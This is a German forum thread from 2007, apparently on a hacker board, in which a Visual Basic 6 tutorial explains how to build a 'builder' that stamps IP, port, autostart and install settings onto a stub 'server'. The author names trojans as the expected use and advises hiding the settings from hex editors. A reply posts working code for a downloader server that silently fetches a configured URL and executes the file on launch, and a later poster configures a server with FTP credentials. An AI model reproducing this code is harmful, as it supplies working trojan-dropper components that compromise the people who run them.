[Text] Builder programmieren für Anfänger. Verfasst am: 15.03.2007, 22:52
Thema: Wie programmiert man sich einen Builder.
Hallo an alle.
Heute erkläre ich euch was ein Builder ist und wie man sich seinen eigenen codet.
1. Was ist ein Builder und wozu braucht man den???
Ein Builder bietet einem die Möglichkeit Einstellungen an einer schon kompilierten Datei vorzunehmen.
Versteht das jetzt bitte nicht falsch. Man greift nicht wirklich in die exe Datei ein, sondern man hängt an die Datei die Informationen dran.
Die Exe muss natürlich dann so programmiert sein, dass sie sich diese Infos die sie benötigt auch holen kann.
Ihr könnt das also nicht mit jeder Exe machen, sondern es muss diese auch eine von euch programmierte sein.
2. Grundfunktion
Ich hab ja schon ein wenig angeschnitten wie ein Builder funktioniert, aber jetzt versuch ich es mal genauer zu erklären.
Als erstes besteht so ein Projekt aus zwei Programmen. Den Builder und das eigentliche Programm, das der Benutzer auf seine Bedürfnisse einstellen kann.
Das Programm nennen wir jetzt einfach mal „server“, auch wenn ich hoffe dass es auch Leute gibt, die keinen Trojaner machen wollen.
Also wie funktioniert das jetzt?
Im Builder werden normal Angaben gemacht, die euer server braucht, wie zum Beispiel die IP Adresse zu der er verbinden soll, oder Port, Installationspfad, Autostarteintrag und diverse andere.
Beim erstellen öffnet der Builder den server und fügt am Ende der Datei all diese Informationen dran. Am besten natürlich irgendwie verschlüsselt, da man sonst einfach per Hexeditor die IP Adresse usw. auslesen kann.
Nun gibt es zwei Möglichkeiten wie der Builder auf den server zugreift.
Beide werde ich hier erörtern.
3. Server direkt im Builder als Ressource einbinden.
Vorteil dieser Art ist, dass man am Ende nur eine Datei hat, da der server in den Builder eingebunden wird.
Als erstes braucht ihr dazu den Ressourcen Editor.
Den bekommt ihr, wenn ihr oben auf Add-Ins => Add-In-Manager drückt und dann den Eintrag VB 6 Ressourcen-Editor sucht und markiert.
Unten hakt ihr dann diese zwei Optionen an: Beim Start laden und Laden/Entladen.
Nachdem ihr OK gedrückt habt, müsstet ihr jetzt oben ein neues Zeichen dazubekommen haben.
Falls ihr es nicht findet, dann drückt einfach auf Extras => Ressourcen-Editor.
Jetzt habt ihr also ein neues Fenster, den Ressourcen-Editor offen.
Nun sucht ihr das Icon für Benutzerdefinierte Ressourcen, das ganz rechts vor dem Fragezeichen ist und drückt drauf.
Fügt nun eure Exe Datei ein.
Diese Datei sollte jetzt mit der Nummer 101 eingefügt sein, da es die erste ist, die ihr eingefügt habt.
Jetzt ist es wichtig, das ihr im Ressourcen-Editor auf speichern drückt.
Dann könnt ihr ihn schließen.
So. Und hier nun ein Beispiel zum entpacken der Ressource.
4. Ressource entpacken
Code:
Dim buffer() As Byte
buffer = LoadResData(101, "CUSTOM")
Open fout For Binary As #1
Put #1, , buffer
Close #1
Ich erklär euch den code Zeile für Zeile.
Code:
Dim buffer() As Byte
Wir deklarieren also erstmal die Variable buffer as Byte, in der wir dann die Ressource speichern um sie dann auf der Festplatte erstellen zu können.
Code:
buffer = LoadResData(101, "CUSTOM")
In der zweiten Zeile laden wir die Ressource Nummer 101 in buffer.
„CUSTOM“ gibt an welche Art von Ressource das ist, und es ist ja eine Benutzerdefinierte.
Code:
Open (App.Path & "\server.exe") For Binary As #1
Hier öffnen wir nun die Datei, außer sie existiert noch nicht, dann wird sie erstellt.
Das ganze passiert im Binär Modus und ich habe hier die Nummer #1 gewählt für diese Datei.
Wenn ihr euch damit nicht auskennt, dann solltet ihr euch zuerst über dieses Thema informieren, bevor ihr weiterlest.
Was bedeutet (App.Path & "\server.exe") ???
Ganz einfach. App.Path übergibt den Pfad wo der Builder gespeichert ist und wir fügen dann einfach noch \server.exe dran und haben so schon den kompletten Pfad zu der Datei.
Code:
Put #1, , buffer()
Mit dieser Zeile fügen wir in die Datei mit der Nummer #1, die Ressource Datei ein, die wir in buffer gespeichert haben ein.
Code:
Close #1
Hiermit wird der Zugriff auf die Datei wieder beendet/geschlossen.
Das ist sehr wichtig, dass man Dateien die man nicht mehr benutzt auch wieder freigibt.
Hier wird jetzt nur die Datei #1 geschlossen, aber wenn ihr mehrere auf einmal schließen wollt, braucht ihr nur close schreiben.
5. Eingegebene Informationen/Optionen an den server hängen
Als Beispiel benutze ich jetzt einfach mal Text1.Text und Text2.Text, in denen Infos wie IP und Port angegeben werden können.
Code:
Dim options As String * 100
Options = Text1.Text & "#" & Text2.Text & "#"
In der ersten Zeile deklarieren wir uns erstmal eine Variable in der wir dann alle Angaben die der Benutzer gemacht hat speichern können.
Aber was ist das * 100???
Hier bestimmen wir, dass die Variable options genau 100Bytes lang ist.
Versucht euch das so vorzustellen, das options ein Koffer ist, indem ihr 100 Sachen reinpacken könnt.
Wenn ihr sehr viele Informationen reinpacken wollt, kann es sein, das euer Koffer zu klein ist.
Das ist aber kein Problem. Ihr müßt dann halt nur eine größere Zahl hinschreiben.
In 100Bytes passt aber schon sehr viel hinein.
2. Zeile
Code:
Options = Text1.Text & "#" & Text2.Text & "#"
In dieser Zeile speichern wir alle Informationen die der Benutzer angegeben hat in der Variable options.
Aber wie ihr vielleicht schon gesehen habt, sind da noch andere Zeichen zwischen Text1.Text und Text2.Text.
Diese dienen uns als Trennungszeichen, damit wir später diese Infos wieder voneinander trennen können. Ihr könnt auch andere Zeichen wählen, aber nehmt welche, wo ihr euch sicher seit, dass sie nicht in den vom Benutzer angegebenen Informationen vorkommen werden.
Nun brauchen wir noch den code zum anhängen dieser Informationen an den server.
6. Informationen an den server anhängen
Code:
Open (App.Path & "\server.exe") For Binary As #1
Put #1, LOF(1) + 1, options
Close #1
In der ersten Zeile öffnen wir nochmal die Datei die wir vorher schon erstellt haben.
In der zweiten Zeile fügen wir die Infos, die in options gespeichert sind, ans Ende der Datei.
Jetzt fragt ihr euch vielleicht woher unser code weiß wo das Ende der Datei ist.
Das sagen wir ihm über den Befehl LOF(1)+1).
LOF bedeutet Len Of File.
In der Klammer steht die Zahl 1. Das ist die Nummer der Datei.
Wir sagen also (Länge der Datei 1)+1).
Plus 1 schreiben wir deshalb, weil er sonst das letzte Zeichen der Datei überschreiben würde mit unseren Infos. Also sagen wir plus eins.
Mit Close #1 wird die Datei dann wieder geschlossen.
Das wäre auch schon der ganze Basiscode für einen Builder.
Aber ich zeige euch noch die Möglichkeit eine externe Datei, die man normal als stub bezeichnet, zu öffnen und eure infos dranzuhängen.
7. Externe Stub öffnen und String anhängen
Eigentlich ist nur wichtig, wie ihr die stub öffnet und kopiert. Wie man was anhängt seht ihr ja schon oben.
Kopieren muß man die stub deswegen, da die originale so bleiben sollte wie sie ist, damit sie immer wieder benutzt werden kann.
Deshalb kopieren wir die stub, fügen den string an und fertig.
Hier ein code zum öffnen und kopieren einer externen Stub.
Code:
Dim buffer as string
Open (App.Path & "\stub.dll") For Binary As #1
Open (App.Path & "\server.exe") For Binary As #2
Buffer = Space(LOF(1))
Get #1, , Buffer
Put #2, , Buffer
Close
In den ersten zwei Zeilen wird ganz einfach die stub.dll geöffnet und dann die server.exe.
In der dritten Zeile passiert etwas Wichtiges. Wir fragen die Größe der Datei mit der Nummer 1 ab und füllen buffer mit so vielen Leerzeichen wie diese Datei groß ist.
Das machen wir, damit wir die ganze Datei auf einmal einlesen können.
In den nächsten Zeilen wird ganze einfach zuerst die stub.dll in buffer eingelesen und dann in server.exe geschrieben. Danach werden beide Dateien auf einmal geschlossen.
Nun haben wir eine exakte Kopie der stub.dll, aber mit den anderen Namen server.exe.
Man könnte das auch einfach per FileCopy von Windows erledigen lassen, aber ich denke so ist es eine bessere Lösung, und man weiß genau wann die Datei fertig erstellt worden ist.
Als letztes fehlt uns jetzt noch ein code, den wir in den server einfügen müssen.
Der muss ja am Ende irgendwie die infos an seinem Ende auslesen können.
8. Wie holt sich der Server die Informationen
Eigentlich ist das sehr leicht und sollte mit den obigen Informationen leicht zu schaffen sein.
Aber das hier soll ja ein vollständiger Artikel sein.
Also hier ein code wie sich der server selbst öffnet und die Informationen am Ende ausliest.
Code:
Dim file as string, options as string * 100, cmd() as string
file = (App.Path & "\" & App.EXEName & “.exe”)
Open file For Binary As #1
Get #1, (LOF(1) - 99), options
cmd() = Split(options, "#")
1. Zeile: Hier deklarieren wir die Variablen die wir brauchen. In file schreiben wir den Pfad zur eigenen Datei hinein. In options speichern wir den ausgelesenen string vom Ende der Datei. Das * 100 ist sehr wichtig und sollte der gleiche Wert sein, wie ihr beim Builder angegeben habt. In cmd() werden wir den string aus options teilen, um die einzelnen Informationen wieder zu erhalten.
2. Zeile: Hier übergeben wir den Pfad der eigenen Datei an die Variable file
3. Zeile: Hier öffnen wir die Datei als Nummer 1
4. Zeile: Hier lesen wir die angehängten Infos aus. Wenn ihr im Builder 100Bytes angegeben habt, dann müßt ihr hier unbedingt 99 angeben, da sonst ein Zeichen zuviel eingelesen wird.
5. Zeile: Das hier ist eine sehr wichtige Funktion, die ihr sicher auch noch in Zukunft sehr oft benutzen werdet. Mit Split wird der lange string, gespalten bzw. getrennt. Und nämlich überall dort, wo wir unser Trennungzeichen geschrieben haben. Nun trennt er uns diesen string also, und wir erhalten unsere zwei Infos Text1.Text und Text2.text. Aber wo sind diese jetzt? Ganz einfach.
cmd() ist ein Array. Stellt euch das wie eine Liste vor. Ihr könnt in jede Zeile dieser Liste etwas eintragen. Und wir haben zwei Infos eingefügt. Diese Liste fängt aber bei 0 an. Das heißt es sieht jetzt so aus:
cmd(0) = Text1.Text
cmd(1) = Text2.Text
Diese Variablen könnt ihr nun in eurem Programm benutzen und habt dadurch z.B. IP und Port bekommen, wo der server hin verbinden soll.
Ich hoffe ich konnte es euch verständlich erklären, damit ihr euren eigenen Builder programmieren könnt.
Zuletzt bearbeitet von ZiG_ am 25.09.2007, 19:21, insgesamt 8-mal bearbeitet
Bitchkiller_ Tutorial Leser
Anmeldedatum: 12.12.2006 Beiträge: 23
Verfasst am: 16.03.2007, 09:24
netter artikel, für alle anfänger bestimmt gut wenn sie nochmal die erklärung haben, ansonsten ist der code, den man bei fragen und antworten findet ja eingetlich schon selbsterklärend
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 16.03.2007, 11:37
@Bitchkiller
Mir geht es hier nicht darum einfach sources zu posten die dann jeder einfach kopiert.
Ich versuche zu erklären wie diese Programme bzw. sources eigentlich funktionieren.
Ich hoffe dass das einigen hilft und sie dadurch wirklich was lernen.
Ich denke das ist besser, als wenn man einfach nur einen source postet.
Und das schonmal einer in Fragen und Antworten gepostet wurde, wußte ich nicht.
@Amethyst
Thx. Weitere werden folgen. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Teto_ Poster
Anmeldedatum: 28.02.2007 Beiträge: 106
Verfasst am: 18.03.2007, 06:46
ZiG finde ich sehr nice von dir.Das was du ansprichst ist genau ddas was ich immer bemängel wenn man nach hilfe fragt bekommt man meistens den source hingehauen und dein Prog läuft dann vielleicht,aber gecheckt hat man nichts und weiß so mit auch nicht viel darüber.
Mach weiter so
D3vI4nX_ Newbie
Anmeldedatum: 20.03.2007 Beiträge: 7
Verfasst am: 20.03.2007, 20:11
wirklich sehr schönes und ausführliches tut. Und man versteht alles
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 21.03.2007, 14:53
Geiles Tut!
Hat mit sehr geholfen
Thx Zig mach weiter so!
Chickenman_ Poster
Anmeldedatum: 24.04.2007 Beiträge: 149
Verfasst am: 24.05.2007, 11:51
ich habe 1 sache noch nicht ganz verstanden ,
wie kann man jetzt
z.b mit dem feld url für ein webdownloader diese url in die server exe ein binden bdeutet
Das haupt programm hat das feld url und ziel
nun wie trägt man nun die url bzw ziel in den server ein ?
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 24.05.2007, 12:05
Ich verstehe deinen Post auch nicht so ganz.
Willst du jetzt wissen wie man die URL an den server anfügt, oder wie der server diese dann ausliest?
Un von 1 Sache kann man da auch nicht gerade sprechen, da das ihm Grunde das Thema ist worum es geht, was du nicht ganz verstanden hast. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Nun Muss der server "ja" diese infomationen irgend wie bekommen , aber wie ?
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 25.05.2007, 12:49
@Chickenman:
Ich Poste dir jetzt einfach mal die wichtigen teile vom Source
Schaus dir einfach mal an ist eigentlich ganz einfach:
Server:
[code]Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" ( _
ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
On Error Resume Next
Dim cmd() As String
Dim url As String * 100
Dim path As String * 100
Dim Shell As String * 100
Dim infos As String * 300
Dim result As Long
Dim sLocalFile As String
Dim sURL As String
Open App.path & "\" & App.EXEName & ".exe" For Binary As #1
Get #1, LOF(1) - 199, infos
Close #1
cmd() = Split(infos, "#")
url = cmd(0)
path = cmd(1)
sURL = url
sLocalFile = path
result = URLDownloadToFile(0, sURL, sLocalFile, 0, 0) & Shell(sLocalFile)
End
End Sub
[/code]
Builder:
[code]Dim url As String * 100
Dim path As String * 100
Dim buffer() As Byte
Dim infos As String * 200
buffer = LoadResData(101, "CUSTOM")
Open App.path & "\server.exe" For Binary As #1
Put #1, , buffer()
Close #1
Open App.path & "\server.exe" For Binary As #1
Put #1, LOF(1) + 1, infos
Close #1
[/code]
Chickenman_ Poster
Anmeldedatum: 24.04.2007 Beiträge: 149
Verfasst am: 25.05.2007, 19:53
danke schön nur noch 1 frage wie ist der code für den bulid button ?
call ?
Jolo_ Coder
Anmeldedatum: 20.03.2007 Beiträge: 210
Verfasst am: 25.05.2007, 20:05
Ganz einfach ^^ den Wo ich bei Builder gepostet hab
Einfach noch:
[code]Private Sub Command1_Click()[/code]
vorne dransetzten
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 26.05.2007, 18:17
@Chickenman
Lies dir bitte bevor du postest die Tutorials auch wirklich durch.
Die Tuts sind dazu gedacht, dass du etwas daraus lernst und nicht dass du fertige sources erhältst.
mfg, ZiG _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
53lph_ Newbie
Anmeldedatum: 13.01.2007 Beiträge: 3
Verfasst am: 28.05.2007, 10:40
Sehr geil ZiG!!!
So müsste eigentlich jeder **** verstehn wie man nen Builder macht oder Strings splitted.
Nice Work! Weiter so!
PeaZe!
53lph
Tix_ Tutorial Leser
Anmeldedatum: 08.06.2007 Beiträge: 51
Verfasst am: 26.06.2007, 21:00
53lph hat Folgendes geschrieben:
Sehr geil ZiG!!!
So müsste eigentlich jeder **** verstehn wie man nen Builder macht oder Strings splitted.
Nice Work! Weiter so!
PeaZe!
53lph
und genau ich checks nicht -.-
Was ist mit den ganzen Funktionen ?
Kannst mal den vollständigen Source reinstellen ?
Welche Buttons braucht man ?
Erfklärung bidde =(
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 27.06.2007, 06:34
Eigentlich geht es ja darum, dass du dich mit dem Tutorial beschäftigst und nicht einen fertigen Source benutzt.
Im Grunde bräuchtest du dir aber nur die Teile, die ich gepostet habe zusammenfügen und anpassen.
Aber Hamtaro hat auch mit diesem Tut einen Binder gemacht und den source gepostet der außerdem noch sehr gut kommentiert ist: http://enco.silent-thunder.de/board/viewtopic.php?t=369 _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
mfg _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
Wilkos77_ Banned
Anmeldedatum: 01.09.2007 Beiträge: 6
Verfasst am: 04.09.2007, 20:33
und wiedereinmal ein geniales tut von der (ziG)ke!
Ne mal in ernst: Sowas perfektest bin ich einfach nicht gewöhn^^
Alles ist ausführlich beschreiben, dass auch ein newbie alles nachvollziehen kann, es ist sistemaisch strukturiert, und nichmals Rechtschreibefehler hat'a eingebaut!
ii SUPER WEITER SO !! DanKe
*ich weiss nich wie das hier auf dem Board it, ob hier THX's Posts erlaubt sind oder nich, aber ich habs jetzt einfach mal gemacht. Nächstesmal lass ichs auch bleiben.*
Grußß Wilkos77
Bahamut_ « Moderator »
Anmeldedatum: 12.12.2006 Beiträge: 250
Verfasst am: 05.09.2007, 09:02
Wenn dir das Tut so gut gefällt kannst das sicherlich posten, da freut sich auch ZiG wenn er sowas liest
Ja klar freu ich mich. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
börd_ Newbie
Anmeldedatum: 08.03.2008 Beiträge: 12
Verfasst am: 30.04.2008, 15:33
eine frage zum server der server ist bei mir eine form mit 2 textboxen und einem button der den inhalt von text1 und text2 dann anzeigen soll ich weis aber nicht was als code bei diesem button reinsoll ich habe es mit folgendem probiert aber das geht nicht:
Code:
Private Sub Command1_Click()
Text1.Text = cmd(1)
Text2.Text = cmd(2)
End Sub
kann mir einer helfen?
mfg börd
PS: bitte nicht auslachen
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 30.04.2008, 15:41
Schreib den Code nicht in einen Button, sondern direkt nach dem code wo der server die Daten einliest.
Oder deklariere zumindest das Array "cmd()" global.
Ganz oben außerhalb der Subs.
Code:
Private cmd() as string
_________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)
börd_ Newbie
Anmeldedatum: 08.03.2008 Beiträge: 12
Verfasst am: 30.04.2008, 16:12
danke ZiG das wars ! jetzt gehts es
noch ne frage wenn das cmd() gesplittet wird ist der erste split cmd(0) oder cmd(1))
mfg börd
PS:und sry für den push im anderen thread war mir einfach so wichtig ...
EDIT:
Code:
Private Sub Command1_Click()
If txt_ftpuser.Text = "" Then
MsgBox "zuerst alle daten eingeben"
Else
If txt_ftpserver.Text = "" Then
MsgBox "zuerst alle daten eingeben"
Else
If txt_passwort.Text = "" Then
MsgBox "zuerst alle daten eingeben"
Else
Build_server
End If
End If
End If
End Sub
so sieht es im code des command button des builders aus ... aber er bringt mir einen fehler bei "Build_server" beim 3ten Else wie muss ich das anstattdessen schreiben ... ?
mfg börd _________________
ZiG_ Überflieger
Anmeldedatum: 07.03.2007 Beiträge: 1248
Verfasst am: 30.04.2008, 18:29
1. cmd(0)
2. Ich weiß nicht wie deine Prozedur "Build_server" genau aussieht.
Es muß nur der selbe Name sein. _________________ Wer nicht auf seine Weise denkt, denkt überhaupt nicht. (Oscar Wilde)